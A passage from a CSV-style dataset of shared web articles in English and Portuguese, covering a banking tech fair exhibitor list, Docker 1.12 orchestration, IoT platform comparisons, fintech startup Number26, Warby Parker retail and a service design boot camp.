soluções do portfólio da integradora, com destaque a Avaliação Digital e a solução BringTo. 38. Safran Identity & Security. A companhia apresentará um sistema de autenticação biométrica por meio da íris, numa distância de cerca um metro. 39. Salesforce. Fornecedora de CRM cloud demonstra seu Customer Success Platform para Serviços Financeiros, que inclui soluções de automação de vendas, atendimento ao cliente, marketing digital, comunidades e desenvolvimento rápido de aplicativos. 40. SAS Institute Brasil. Uma das novidades da companhia é um hub de marketing digital oferecido em cloud quem combina e interliga dados gerados em todos os canais para oferecer uma visão 360º do comportamento de cada consumidor do banco. 41. Scopus. A provedora expõe uma tecnologia de reconhecimento de padrão biométrico de movimento, que permitirá detectar o padrão de caminhar, ou de se movimentar, de usuários de smartphones com sensores embarcados. 42. Stefanini. A integradora aborda novas tecnologias e conceitos aplicados ao funcionamento de um banco digital. No seu estande, os visitantes poderão conferir a demonstração de soluções de social bank, blockchain, gamification, marketing digital, automação na captura de documentos e inteligência artificial, com o lançamento de uma assistente virtual. 43. Sistemas Críticos. A principal solução que a empresa apresentará no evento é a TEN-S Payment Solutions, plataforma transacional de pagamentos que ajuda clientes a adquirir, processar e autorizar transações nos distintos padrões de bandeiras, emissores, redes de captura e protocolos, originadas em POS, ATM, WEB, URA ou Mobile, funcionando ainda como um gateway entre sistemas e entre agentes. 44. Soluti. Empresa leva um sistema que possibilita transações eletrônicas via celular ou tablets em tempo hábil, de forma sigilosa e com autenticidade, bem como a assinatura de documentos com validade legal quando o usuário está em trânsito. 45. Symantec. Visitantes poderão conferir ferramentas de Advanced Threat Protection (ATP) e Data Loss Prevention (DLP) da provedora de segurança. 46. Technisys. A empresa aposta em tecnologias para banco digital. Segundo a provedora, esses sistemas foram usados na criação do Banco Original. 47. Tecnobank. O eGerencie, um dos produtos da Tecnobank que será apresentado no Ciab, é um sistema de monitoramento de frotas, voltado a bancos e seguradoras. 48. Tivit. A empresa aborda no evento soluções que incluem processamento de informações críticas, em larga escala e sob demanda, e integram processos de negócios, bem como a gestão de recebíveis, prevenção à fraude, processos de crédito e demais soluções integradas de back office. 49. Totvs. Fabricante de ERP demonstra seu portfólio de soluções core para o mercado financeiro que, segundo ela, estão prontas para viabilizar a transformação digital dos negócios. 50. Veritas. A empresa apresenta ferramentas que permitem a companhias financeiras conseguirem gerenciar, com eficácia, dados para obter melhores resultados nos negócios. 51. Vert. A provedora, que presta serviços para grandes instituições bancárias brasileiras, com a Caixa Econômica Federal e o Banco do Brasil, a apresenta soluções de infraestrutura e segurança para promover a transformação digital nos bancos. 52. View Financial Systems. A companhia apresentará um sistema financeiro integrado e modulado, totalmente parametrizável, com o diferencial de permitir a parametrização do Workflow. 53. Visa. O visitante pode conferir no estande da Visa uma gama de produtos e inovações capazes de facilitar o dia a dia do consumidor, tais como ferramentas de segurança, tokens e geolocalização. 54. Wacom. Entre as principais soluções que a empresa apresenta no Ciab, estão canetas para tablet que simulam sensação de escrita com canetas reais em papel. 55. ZUP Innovation. Entre os produtos que serão apresentados pela companhia no Ciab estão o Protocol Recorder, o API Gateway, e o Real Wave.",pt
1466456159,CONTENT SHARED,2809702925357288303,-1443636648652872475,-8854509447672303603,,,,HTML,https://cloudplatform.googleblog.com/2016/06/build-your-own-scalable-location-analysis-platform-with-Google-Cloud-Platform-and-Maps-APIs.html,"Build your own scalable, location analysis platform with Google Cloud Platform and Maps APIs","When our customers work with telemetry data from large fleets of vehicles or big deployments of sensors that move about in the world, they typically have to combine multiple Google APIs to capture, process, store, analyze and visualize their data at scale. We recently built a scalable geolocation telemetry system with just Google Cloud Pub/Sub , Google BigQuery and the Google Maps APIs . The solution comes with a full tutorial, Docker images you can use straight away and some sample data to test it with. We chose Google Cloud Pub/Sub to handle the incoming messages from vehicle or device sensors as it is a serverless system that scales to handle many thousands of messages at once with minimal configuration. Just create a topic and start adding messages to it. Google BigQuery offers petabyte scale, serverless data warehousing and analytics - ideal for large fleets of vehicles that will send thousands of messages a second, year after year. Further, BigQuery can perform simple spatial queries to select by location or do geofencing on vast datasets - all in a few seconds. The Google Maps APIs add an extra dimension to telemetry data by converting raw GPS position into human-readable structured address data, as well as adding other really useful local context such as elevation (great for fuel consumption analysis) and local time-zone (maybe you want to just see locations recorded during working hours for a given location). Google Maps also provides an interface with which the majority of your staff, customers or users are familiar. Finally we packaged our solution using Docker so that you can just take it and start working with it right away. (Of course if you'd rather just run the code on a server or your local machine you can do this as well; it's written in Python and can be run from the command line.) To get started, read the solution document , then head on over to the tutorial to explore the sample application and data. Once you've had a play, fork the code on GitHub and start working with your own telemetry data!",en
1466503070,CONTENT SHARED,6737022915341644067,7774613525190730745,3586436137298336768,,,,HTML,http://9to5mac.com/2016/06/20/apple-pay-mycokerewards-free-drink/,You can now use MyCokeRewards with Apple Pay (and score a free Coke),"Last year Apple rebranded its Passbook app as Wallet and boosted Apple Pay by adding support for loyalty cards. Coca-Cola started accepting Apple Pay debit and credit cards at many of its vending machines around the same time, and now its loyalty card is catching up. Customers can add the MyCokeRewards loyalty card to Apple Pay and receive a free drink in return. The MyCokeRewards loyalty card lets you earn points for purchases at supported Coca-Cola vending machines. Customers can then use earned points to redeem free drinks at MyCokeRewards vending machines. Each purchase gives you three points, then 30 points gets you a free drink (so buy 10 drinks and the 11th is free). Here's the really good news. Coca-Cola is giving MyCokeRewards customers 30 points up front just for adding the loyalty card to Wallet, which gives you a free drink right at the start, and you can use Apple Pay to earn or redeem points on iPhone 6, iPhone 6 Plus, iPhone 6s, iPhone 6s Plus, and iPhone SE on supported vending machines going forward. Because the loyalty card works with Apple Pay, there's no need to scan a barcode, although a fallback barcode is available just in case. Instead, the updated MyCokeRewards card lets you wave your iPhone near the vending machine card reader which picks up the right information securely using NFC. The process is just like using the Walgreens Balance Rewards loyalty card over Apple Pay then using a debit or credit card through Apple Pay to complete the checkout process. You can sign up or log in and add MyCokeRewards to Wallet and use Apple Pay without even downloading an app at mycokerewards.com . For non-soda consumers ( like myself ), the free vend is good for other Coca-Cola products like Powerade and Dasani water as well. Adding loyalty cards for use with Apple Pay requires iOS 9 or later. Just keep an eye out for Apple Pay-ready vending machines to take advantage of the new feature (and freebie).",en
1466507526,CONTENT SHARED,-7342604649736473979,-2979881261169775358,-4081266306360200792,,,,HTML,https://blog.docker.com/2016/06/docker-1-12-built-in-orchestration/,Docker 1.12: Now with Built-in Orchestration!,"Three years ago, Docker made an esoteric Linux kernel technology called containerization simple and accessible to everyone. Today, we are doing the same for container orchestration. Container orchestration is what is needed to transition from deploying containers individually on a single host, to deploying complex multi-container apps on many machines. It requires a distributed platform, independent from infrastructure, that stays online through the entire lifetime of your application, surviving hardware failure and software updates. Orchestration is at the same stage today as containerization was 3 years ago. There are two options: either you need an army of technology experts to cobble together a complex ad hoc system, or you have to rely on a company with a lot of experts to take care of everything for you as long as you buy all hardware, services, support, software from them. There is a word for that, it's called lock-in. Docker users have been sharing with us that neither option is acceptable. Instead, you need a platform that makes orchestration usable by everyone, without locking you in. Container orchestration would be easier to implement, more portable, secure, resilient, and faster if it was built into the platform. Starting with Docker 1.12, we have added features to the core Docker Engine to make multi-host and multi-container orchestration easy. We've added new API objects, like Service and Node, that will let you use the Docker API to deploy and manage apps on a group of Docker Engines called a swarm. With Docker 1.12, the best way to orchestrate Docker is Docker! The Docker 1.12 design is based on four principles: Simple Yet Powerful - Orchestration is a central part of modern distributed applications; it's so central that we have seamlessly built it into our core Docker Engine. Our approach to orchestration follows our philosophy about containers: no setup, only a small number of simple concepts to learn, and an ""it just works"" user experience. Resilient - Machines fail all the time. Modern systems should expect these failures to occur regularly and adapt without any application downtime that's why azero single-point-of-failure design is a must. Secure - Security should be the default. Barriers to strong security - certificate generation, having to understand PKI - should be removed. But advanced users should still be able to control and audit every aspect of certificate signing and issuance. Optional Features and Backward Compatibility - With millions of users, preserving backwards compatibility is a must for Docker Engine. All new features are optional, and you don't incur any overhead (memory, cpu) if you don't use them. Orchestration in Docker Engine aligns with our platform's batteries included but swappable approach allowing users to continue using any third-party orchestrator that is built on Docker Engine. Let's take a look at how the new features in Docker 1.12 work. Creating Swarms with One Decentralized Building Block It all starts with creating a swarm-a self-organizing and self-healing group of engines-which for the bootstrap node is as simple as: Under the hood this creates a Raft consensus group of one node. This first node has the role of manager, meaning it accepts commands and schedule tasks. As you join more nodes to the swarm, they will by default be workers, which simply execute containers dispatched by the manager. You can optionally add additional manager nodes. The manager nodes will be part of the Raft consensus group. We use an optimized Raft store in which reads are serviced directly from memory which makes scheduling performance fast. Creating and Scaling Services Just as you run a single container with docker run, you can now start a replicated, distributed, load balanced process on a swarm of Engines with docker service: This command declares a desired state on your swarm of 5 nginx containers, reachable as a single, internally load balanced service on port 80 of any node in your swarm. Internally, we make this work using Linux IPVS , an in-kernel Layer 4 multi-protocol load balancer that's been in the Linux kernel for more than 15 years. With IPVS routing packets inside the kernel, swarm's routing mesh delivers high performance container-aware load-balancing. When you create services, can optionally create replicated or global services. Replicated services mean any number of containers that you define will be spread across the available hosts. Global services, by contrast, schedule one instance the same container on every host in the swarm. Let's turn to how Docker provides resiliency. Swarm mode enabled engines are self organizing and self healing, meaning that they are aware of the application you defined and will continuously check and reconcile the environment when things go awry. For example, if you unplug one of the machines running an nginx instance, a new container will come up on another node. Unplug the network switch for half the machines in your swarm, and the other half will take over, redistributing the containers amongst themselves. For updates, you now have flexibility in how you re-deploy services once you make a change. You can set a rolling or parallel update of the containers on your swarm. Want to scale up to 100 instances? It's as simple as: A typical two-tier (web+db) application would be created like this: This is the basic architecture of this application: Security A core principle for Docker 1.12 is creating a zero configuration, secure-by-default, out of the box experience for the Docker platform. One of the major hurdles that administrators often face with deploying applications into production is running them securely, Docker 1.12 allows an administrator to follow the exact same steps setting up a demo cluster that they would to setup a secure production cluster. Security is not something you can bolt-on after the fact. That is why Docker 1.12 comes with mutually authenticated TLS, providing authentication, authorization and encryption to the communications of every node participating in the swarm, out of the box. When starting your first manager, Docker Engine will generate a new Certificate Authority (CA) and a set of initial certificates for you. After this initial step, every node joining the swarm will automatically be issued a new certificate with a randomly generated ID, and their current role in the swarm (manager or worker). These certificates will be used as their cryptographically secure node identity for the lifetime of their participation in this swarm, and will be used by the managers to ensure secure dissemination of tasks and other updates. One of the biggest barriers of adoption of TLS has always been the difficulty of creating, configuring and maintaining the necessary Public Key Infrastructure (PKI). With Docker 1.12, everything not only gets setup and configured with safe defaults for you, but we also automated one of the most painful parts of dealing with TLS certificates: certificate rotation. Under the hood, every node participating in the swarm is constantly refreshing its certificates, ensuring that potentially leaked or compromised certificates are no longer valid. The frequency with which certificates are rotated can be configured by the user, and set as low as every 30 minutes. If you would like to use your own Certificate Authority, we also support an external-CA mode, where the managers in the swarm simply relay the Certificate Signing Requests of the nodes attempting to join the cluster to a remote URL. Bundles Docker 1.12 introduces a new file format called a Distributed Application Bundle (experimental build only). Bundle is a new abstraction on top of service focused on the full stack application. A Docker Bundle file is a declarative specification of a set of services that mandates: What specific image revision to run What networks to create How containers in those services must be networked to run Bundle files are fully portable and are perfect deployment artifacts for software delivery pipelines because they let you ship fully spec'ed and versioned multi-container Docker apps. The bundle file spec is simple and open, and you can create bundles however you want. To get you started, Docker Compose has experimental support for creating bundle files and with Docker 1.12 and swarm mode enabled, you can deploy the bundle files. Bundles are an efficient mechanism for moving multi-service apps from developer laptops through CI to production. It's experimental, and we're looking for feedback from the community. Under the hood of Docker 1.12 When you take a look under the hood, Docker 1.12 uses a number of other interesting technologies. Inter-node communication is done using gRPC , which gives us HTTP/2 benefits like connection multiplexing and header compression. Our data structures are transmitted efficiently thanks to protobufs . Check out these additional resources on Docker 1.12: Learn More about Docker docker 1.12 , Docker orchestration , dockercon , orchestration",en
1466508431,CONTENT SHARED,-4336877432539963613,-1578287561410088674,2634667938638203431,,,,HTML,http://www.survivingwithandroid.com/2015/12/comparing-iot-platforms.html,Comparing IoT Platforms: Compare 4 IoT platform for IoT projects,"Easy to use comparing IoT Platforms table . Building IoT project is a process that could involve the step of finding free platforms. As you may know, Internet of things is a set of physical objects that use network support to exchange data. These objects can be sensors, software, boards and so on. This is an interesting ecosystem where the software can be connected directly to real hardware or devices. The most known board for building internet of things project are Arduino (with its several versions) and Raspberry. Integrating these devices with cloud platforms is possible to collect and analyze data, create ""smart"" object that can be controlled remotely . One way to control such devices is using smartphones like Android and iOS devices. Dev Boards like Arduino or Raspberry are cheap and everyone can experiment IoT projects. Cloud IoT platforms help developers and maker to build IoT project and test them fast and easily . It is useful to compare IoT Platforms so that it is possible to select the right one according to our needs. Comparing IoT Platforms: analysis for building projects Cloud IoT platforms provides several kind of services that can be very useful in building IoT project : cloud data store data Event logic Platforms integration Cloud data store enables developers to store data sent from several boards (like Arduino or Raspberry); for example, it is possible to store values read from a sensor. This information can be visualized using a graph or analyzed with other tools. Event logic is web based programming logic that can be used to trigger some action when an event occurs. Using this kind of platforms is possible to implement some ""business logic"" using just a web interface without knowing much about the board we are using for the project. Usually ,the logic is like IF-THEN, for example if an event occurs then do this action. An event can be a signal read from a sensor and the action can be an email or an SMS. Platforms integration is a set of ""adapters"" that implements specific protocol so that it is possible without writing a line of code mix different internet services to make a chain of actions. For example, using Arduino with Ethernet shield is possible to send an alert via SMS when a value read from a sensor is higher than a threshold level. Build IoT project with free platform: Description Below, you find a list comparing IoT platforms that can be useful to create IoT projects with a brief description. Comparing IoT platforms isn't easy because they have different features and they are focused on different IoT aspects. This list comparing IoT platforms is built using six different IoT aspects: Data store (the capability to save and store data) Service Integration (the capability to integrate with other external systems) Data visualization (the capability to create charts using the data stored) SDK API (the availability of an SDK to simplify the development process) Event/rule Management (a built-in set of rules to manage the flow of the data) Free account Temboo : This is a very interesting platform that provides services to integrate Arduino, Raspberry and other platforms with different internet services (like SMS, Email and so on). This platform uses choreos that are connectors toward external services, so that events in Arduino, like sensor signals, can be transformed into different kind of events. Moreover, it provides some logic like IF-THEN. Carriots : This is another interesting platform that enables smart devices to store data. It uses the data stream concept to enable devices to send data. This platform moreover has a rule management system so that you can implement custom logic directly on the web. It can moreover send Email, SMS and Twitter messages NearBus : This proposes a different approach respect to other platforms. Usually, the basic concept that stands behind IoT platforms is connecting the device (Arduino, Raspberry and so on) to the cloud so that these boards can send data. NearBus provides a different way: it maps the device into the cloud so that it gets a part of the cloud itself. It uses an Agent to accomplish this task and it is possible to control this agent directly from the web using a set of API. Ubidots : This platforms support several kind of board and can be used to store data in the cloud. It offers data capture, data visualization with a built-in dashboard, rules management (or event management). With the built-in dashboard, it is possible to see in real time the graph built on the data sent by the device. It supports several kind of visualization. *Nearbus offers a different approach so it is quite difficult to categorize it **It offers a set of API easy to use The table above summarizes some aspects of these platforms, that i think they are important. The aim of this comparison is to provides some high-level information about existing IoT platforms and i invite the readers to read carefully each platform features directly on the respective website, before using it. The are other platforms that can be mentioned here like Xively or Sensorcloud that provide interesting services even if I still haven't time to use them. As you can notice, there are several type of platforms with different services, every platform has its unique aspects and it is up to developers and makers to choose the right one according to the project needs. This list comparing IoT platforms wants to help other developers when starting with an IoT project. Help me to increase the list to provide a better information.",en
1466511327,CONTENT SHARED,-8863047175241170722,2290322765105220968,-4801258627871924521,,,,HTML,http://theconversation.com/big-datas-streetlight-effect-where-and-how-we-look-affects-what-we-see-58122,Big data's 'streetlight effect': where and how we look affects what we see,"Don't just look where the streetlight shines. darwinbell/flickr , CC BY Big data offers us a window on the world. But large and easily available datasets may not show us the world we live in. For instance, epidemiological models of the recent Ebola epidemic in West Africa using big data consistently overestimated the risk of the disease's spread and underestimated the local initiatives that played a critical role in controlling the outbreak. Researchers are rightly excited about the possibilities offered by the availability of enormous amounts of computerized data. But there's reason to stand back for a minute to consider what exactly this treasure trove of information really offers. Ethnographers like me use a cross-cultural approach when we collect our data because family, marriage and household mean different things in different contexts. This approach informs how I think about big data. We've all heard the joke about the drunk who is asked why he is searching for his lost wallet under the streetlight, rather than where he thinks he dropped it. ""Because the light is better here,"" he said. This ""streetlight effect"" is the tendency of researchers to study what is easy to study. I use this story in my course on Research Design and Ethnographic Methods to explain why so much research on disparities in educational outcomes is done in classrooms and not in students' homes. Children are much easier to study at school than in their homes, even though many studies show that knowing what happens outside the classroom is important. Nevertheless, schools will continue to be the focus of most research because they generate big data and homes don't. The streetlight effect is one factor that prevents big data studies from being useful in the real world - especially studies analyzing easily available user-generated data from the Internet. Researchers assume that this data offers a window into reality. It doesn't necessarily. Looking at WEIRDOs Based on the number of tweets following Hurricane Sandy, for example, it might seem as if the storm hit Manhattan the hardest, not the New Jersey shore. Another example: the since-retired Google Flu Trends , which in 2013 tracked online searches relating to flu symptoms to predict doctor visits, but gave estimates twice as high as reports from the Centers for Disease Control and Prevention. Without checking facts on the ground, researchers may fool themselves into thinking that their big data models accurately represent the world they aim to study. The problem is similar to the "" WEIRD "" issue in many research studies. Harvard professor Joseph Henrich and colleagues have shown that findings based on research conducted with undergraduates at American universities - whom they describe as ""some of the most psychologically unusual people on Earth"" - apply only to that population and cannot be used to make any claims about other human populations, including other Americans. Unlike the typical research subject in psychology studies, they argue, most people in the world are not from Western, Educated, Industrialized, Rich and Democratic societies, i.e., WEIRD. Twitter users are also atypical compared with the rest of humanity, giving rise to what our postdoctoral researcher Sarah Laborde has dubbed the ""WEIRDO"" problem of data analytics: most people are not Western, Educated, Industrialized, Rich, Democratic and Online. Context is critical Understanding the differences between the vast majority of humanity and that small subset of people whose activities are captured in big data sets is critical to correct analysis of the data. Considering the context and meaning of data - not just the data itself - is a key feature of ethnographic research, argues Michael Agar , who has written extensively about how ethnographers come to understand the world. What makes research ethnographic? It is not just the methods. It starts with fundamental assumptions about the world, the first and most important of which is that people see and experience the world in different ways, giving them different points of view. Second, these differences result from growing up and living in different social and cultural contexts. This is why WEIRD people are not like any other people on Earth. The task of the ethnographer, then, is to translate the point of view of the people they study into the point of view of their audience. Discovering other points of view requires ethnographers go through multiple rounds of data collection and analysis and incorporate concepts from the people they study in the development of their theoretical models. The results are models that are good representations of the world - something analyses of big data frequently struggle to achieve. Here is an example from my own research with mobile pastoralists . When I tried to make a map of my study area in the Logone Floodplain of Cameroon, I assumed that places had boundaries, as the one separating Ohio from Michigan. Only later, after multiple interviews and observations, did I learn that it is better to think of places in the floodplain as points in an open system , like Columbus and Ann Arbor, without any boundary between them. Imagine that! Don't get me wrong: I think big data is great. In our interdisciplinary research projects studying the ecology of infectious diseases and regime shifts in coupled human and natural systems , we are building our own big data sets. Of course, they are not as big as those generated by Twitter or Google users, but big enough that the analytical tools of complexity theory are useful to make sense of the data because the systems we study are more than the sum of their parts. Moreover, we know what the data represents, how it was collected and what its limitations are. Understanding the context and meaning of the data allows us to check our findings against our knowledge of the world and validate our models. For example, we have collected data on livestock movements using a combination of surveys and GPS technology in Cameroon to build computer models and examine its impact on the spread of foot-and-mouth disease. Because we know the pastoralists and the region in which they move, we can detect the errors and explain the patterns in the data. For data analytics to be useful, it needs to be theory- or problem-driven, not simply driven by data that is easily available. It should be more like ethnographic research, with data analysts getting out of their labs and engaging with the world they aim to understand.",en
1466518183,CONTENT SHARED,-601952361752157430,3609194402293569455,-7072205224139961274,,,,HTML,http://www.b9.com.br/65606/advertising/cannes-lions-2016-tecido-tecnologico-do-google-leva-gp-de-product-design/,Cannes Lions 2016: Tecido tecnológico do Google leva GP de Product Design,"Em maio de 2015, durante a conferência I/O, o Google apresentou projetos de sua divisão ATAP (Advanced Technologies And Projects). Um dos destaques foi o Project Jacquard , que desenvolva a adição de tecnologia em tecidos, num passo da empresa dentro do conceito de Internet das Coisas. Essa foi a proposta premiada com Grand Prix na categoria Product Design , em Cannes Lions 2016 . Sensores tornam sua roupa sensíveis ao toque, e dessa maneira é possível controlar dispositivos conectados com gestos simples. As aplicações pensadas ainda são simples como acender uma lâmpada, ligar um smartphone ou aumentar o volume da música, mas o importante aqui é o fato do hardware ser flexível, o que deve abrir caminhos para toda uma nova gama de produtos. No mês passado, o Project Jacquard criou uma jaqueta jeans em parceria com a Levi's :",pt
1466518531,CONTENT SHARED,-2402157201203242566,3609194402293569455,-7072205224139961274,,,,HTML,https://techcrunch.com/2016/06/21/number26-raises-another-40-million-for-its-vision-for-the-future-of-banking/,Number26 raises another $40 million for its vision for the future of banking,"Berlin-based startup Number26 just raised a $40 million Series B round led by Horizons Ventures . With 200,000 clients, Number26 wants to become a major consumer-facing bank in Europe providing all the services you'd expect from your bank. And this funding round is an important milestone in order to reach this goal. Battery Ventures, R​obert Gentz, David Schneider and Rubin Ritter​also also participated in today's round. Existing investors Peter Thiel's Valar Ventures, Earlybird Ventures and Redalpine Ventures re-invested as well. At heart, Number26 provides a free current account with a MasterCard. But compared to traditional brick-and-mortar banks, Number26 has a few nifty features. For instance, the mobile app is a well-designed native app. It's night and day compared to other banking apps I've been using. When it comes to the card, you can customize it to your needs. For instance, you can receive a push notification for every transaction above a certain amount. Or you can temporarily disable online purchases, ATM withdrawals or foreign transactions. You can re-enable everything later. And the best feature is that you can pay or withdraw money everywhere around the world - Number26 won't charge you with foreign transaction fees or crappy exchange rates. Number26 uses the MasterCard exchange rate and doesn't add any fee on top of it. The startup has partnered with Wirecard for the back end. Wirecard has a banking license and actually manages your money. Number26 sits on top of Wirecard and handles all the consumer-facing features. Technically, Number26 isn't a bank per se - or not yet, at least. Even though Number26 has outsourced the money-counting part, it doesn't mean that the company doesn't have growing pains. Number26 is in charge of ""know your customer"" processes, and the company has also recently noticed that some customers were abusing ATM withdrawals. That's why Number26 recently closed down around 400 accounts. There will be more missteps along the way, but you should be able to blindly trust your bank. So Number26 has to be careful on this front. Over time, the company has added new features. In Germany, you can withdraw cash at retail shops, set up overdraft and more. The company has expanded to six other European countries (France, Greece, Ireland, Italy, Slovakia and Spain) and partnered with TransferWise for international transfers in foreign currencies. And this partnership is key to the company's future. ""We will be rolling out our product more aggressively into different countries across Europe during the second half of this year,"" co-founder and CEO Valentin Stalf told me. ""That's also when we will be taking a decision on entering the U.K. market."" Number26 participated in the Battlefield competition at TechCrunch Disrupt in London in October 2014 and later launched in January 2015 . At the time, the company was already thinking about becoming the central hub for fintech services. ""We could integrate TransferWise for international transfers for example,"" Stalf said at the time, before actually partnering with TransferWise. ""The idea is to be the connector for finance startups."" And it looks like the company plans to do just that. Number26 is looking at partners when it comes to investment, savings, credit and insurance products. It's going to be hard to find partners that provide these products across all of Number26's markets. But maybe Number26 could partner with multiple companies to cover multiple countries for one feature. ""We believe the bank of the future is driven much more by the customer relation and the mobile experience than by the size of the balance sheet,"" Stalf said. ""Therefore, we selectively partner with some of the best fintech companies around the world to offer a platform of products within a seamless, mobile-centric experience. Unfortunately I can't release the exact partners on the investment or savings sides yet."" And this brings us to the revenue question. Right now, the company is making money through three different ways. Whenever you use your card to pay for something, MasterCard gets a cut of the transaction as it manages the payment network. MasterCard then gives back a cut of this cut to the bank that issued the card. So Number26 makes pennies here and there from your card transactions. Second, Number26 makes money from overdraft interest (obviously). And third, Number26 gets a cut of the TransferWise fees when somebody initiates a TransferWise transfer from the Number26 app. In the future, Number26 wants a revenue sharing deal with other potential partners for investment, savings, credit and insurance features. This kind of revenue model only works at a large scale, and the good news is that Number26 doesn't spend a lot of money on customer acquisition. Most new customers hear about Number26 from existing customers. According to a source, Number26's valuation for today's round was quite high. Numbers from the pitch deck don't add up just yet, so Horizons Ventures trusts that Number26 will be able to turn an attractive service into a profitable business. As Number26 becomes a full-fledged bank, the startup also plans to introduce premium features, such as higher limits, insurances, extra services and more. Current free features will remain free, but the company will add more features on top of those. I personally think Number26 has a shot at creating a compelling service. With the Great Fintech Revolution (or however you want to call it), financial services have been unbundled with startups handling just one specific financial service, such as international transfers, peer-to-peer loans, new investment products, etc. Number26 is rebundling all these services into a convenient one-stop shop. And that's a nice value proposition as Number26 could be the startup that turns other fintech startups into mass market products.",en
1466529006,CONTENT SHARED,7127997889533450554,5206835909720479405,-2535698329979615080,,,,HTML,http://mercadoeconsumo.com.br/cases/a-reinvencao-do-varejo-no-segmento-oculos-warby-parker/,Portal Mercado & Consumo,"17 fev 2014 Publicado por: Publicações GS&MD - Gouvêa de Souza Warby Parker é uma alternativa acessível para compra de óculos de grau ou de sol. Por meio da internet e lojas físicas, a marca trabalha com toque vintage em seus modelos. Oportunidade de mercado Warby Parker diferencia-se da concorrência por criar seus próprios projetos, desta forma pode contornar empresas de licenciamento e evitar preços inflados artificialmente. Apesar da marca começar inicialmente com e-commerce, mais tarde expandiu também para a loja física. Ao longo dos últimos dois anos, tem feito parcerias com outras lojas ou com pequenos showrooms, onde os clientes podem experimentar os óculos e se envolver com os produtos. Em um esforço para impulsionar o conhecimento da marca, a empresa embarcou em uma aventura denominada ""Warby Parker Class Trip"", em que um ônibus escolar , reinventado como uma biblioteca , viajou por dentro do país , com uma equipe de estilistas e a coleção completa de óculos. Descrição do case A marca foi criada como alternativa ao alto custo de óculos. Por pesquisar seus próprios materiais, usando as mesmas linhas de produção, e se envolver com os clientes diretamente (cortando intermediários), a empresa é capaz de fornecer óculos de alta qualidade a uma fração do preço dos principais fabricantes. A maioria dos óculos da Warby Parkeré vendida por US $ 95, bem abaixo do preço médio de $ 263 nos EUA. Em fevereiro de 2010, Warby Parker lançou o seu site com o ""home tryon program"", que permite aos clientes escolher cinco armações por cinco dias, gratuitamente. No final dos cinco dias, todas as armações indesejadas são enviadas, com uma etiqueta de devolução, para a empresa, sem qualquer despesa para o usuário. Os consumidores podem, então, comprar os seus favoritos em WarbyParker.com. Com base no sucesso de seu site, a marca começou a operar showrooms de varejo em parceria com lojas em LA, Nashville e San Francisco no início de 2011. O sucesso destas ""loja dentro de loja"" levou a empresa a abrir sua flagship em Nova York. Varejo é detalhe A cada par de óculos Warby Parker vendido, a marca doa um par a alguém em necessidade. (De acordo com a empresa, quase um bilhão de pessoas no mundo inteiro ""15% da população mundial"" não têm acesso a óculos.) Eles mantém parceria com organizações sem fins lucrativos para fornecer óculos e treinamento para empreendedores de baixa renda em países em desenvolvimento para iniciar seu próprio negócio de vendas de óculos. Mix de varejo Warby Parker oferece óculos de grau e óculos de sol para homens e mulheres, por meio de seu site e showrooms. As armações são posicionadas como acessórios de moda para as mulheres, e não apenas para serem vendidas como prescrição. Warby Parker emprega um sistema de fixação de preços uniforme, com a grande maioria das armações vendidas por US $ 95; armações de titânio são vendidas por US $ 145. Raio X Formato: Boutique de óculos Aberta: 2013 Localização: New York City (USA) Número de lojas: 5 lojas e 10 showrooms ou loja dentro de loja Tamanho da loja: 235 m² Com informações de Retail Innovations",pt
1466532003,CONTENT SHARED,-8879983698341300928,-2726721797588771398,-2273871399596610109,,,,RICH,http://www.eventbrite.com/e/boot-camp-sao-paulosp-torne-se-um-service-design-sprint-master-tickets-25881996749,Boot camp São Paulo/SP :: Torne-se um Service Design Sprint Master,"Detalhes do evento Este boot camp é uma certificação global de Sprint Masters que acontece no Brasil, Japão e Holanda. Imagine se você pudesse inovar e acelerar um negócio em apenas 4 dias. Ao participar deste treinamento por toda a prático , você irá aprender a executar service design sprints. Nós vamos passar metodologia e ferramentas que utilizamos, trabalhando em grupos para discutir e co criar soluções mais relevantes do ponto de vista do cliente. Um service design sprint é uma intervenção de 4 dias na qual consumidores, colaboradores, gestores e designers se juntam para melhorar e inovar a experiência de serviço de um negócio. Os sprints servem para qualquer tipo de negócio. Desde uma cafeteria, um hospital veterinário, uma startup, até empresas B2B e grandes corporações. A serviceDesignSprints.com tem o propósito de democratizar o design de serviços , que é usar o pensamento do design para criar serviços mais sustentáveis, desejáveis e rentáveis. Por isso, estamos organizados como uma comunidade global de Sprint Masters. E ao se certificar você fará parte dela. Isto significa que você será conectado à Sprint Masters de todo o mundo para compartilhar experiências e aprendizados, criar oportunidades, ampliar sua rede e até mesmo rodar sprints juntos. Além disto, fornecemos os materiais e videos necessários para te apoiar nos seus sprints e também para que você possa vender sprints. Isso mesmo! Você será equipado com cases e apresentações para poder conectar sprints com qualquer empresa. A comunidade é formada por pessoas dos mais diversos perfis. Nós sempre falamos que design é um modelo mental, é a maneira como você pensa para resolver problemas e não sua formação acadêmica. Você não precisa ter conhecimento na área de design para fazer nossos cursos, nem para ser um designer. Se você quer empreender, mudar a maneira de trabalhar dentro da empresa em que está, ou quer apenas novas lentes e ferramentas para sua vida pessoal, você está no lugar certo. Atualmente são mais de 100 sprint masters espalhados pelo Brasil, Japão, Holanda, Inglaterra, França, Espanha e Estados Unidos. Como funciona o Boot camp: 1) Q&A Perguntas e Respostas Nesta primeira parte do boot-camp faremos um debate para discutir e tirar dúvidas sobre temas conceituais do livro The Service Startup, a metodologia MVS e como a serviceDesignSprints.com funciona. Será também o momento para compartilharmos experiências de sprint stories com você e falar sobre as oportunidades de atuar como um sprint master. 2) A experiência de aprender fazendo em um sprint Hora de colocar a mão na massa no service design sprint, do começo ao fim. Vai ser rápido, louco e insanamente divertido. Queremos dar-lhe as ferramentas, o pensamento e a idéia da energia que flui em um sprint. 3) Certificação Sprint Master Você será certificado como Sprint Master e fará parte da comunidade global da serviceDesignSprints.com. Ao se tornar Sprint Master, você terá diversos benefícios : - Cases e toolkit de vendas: Você terá credibilidade e será capaz de entregar resultados comprovados. Por ser um membro ativo, você está autorizado a usar nossos cases e sprint stories para negociar seus próprios sprints com seus potenciais clientes. Afinal, você é um de nós. Portanto, são suas histórias também. - Suporte de Sprint Masters experientes: Sim. Problemas acontecem. Mas se você ficar em apuros técnico nossa comunidade de Sprint Masters Trainers irão se conectar para ajudá-lo em seus sprints. - Reputação e credibilidade: Você quer mostrar o quanto é bom, nós sabemos disso. Ao pertencer a nossa comunidade de Sprint Masters certificados, você definitivamente conseguirá. Seu perfil no site mostra o seu trabalho, suas avaliações e recomendações, e falará mais do que palavras. A serviceDesignSprints.com está crescendo para se tornar bastante conhecida dentro da comunidade de design e pelas organizações ao redor do 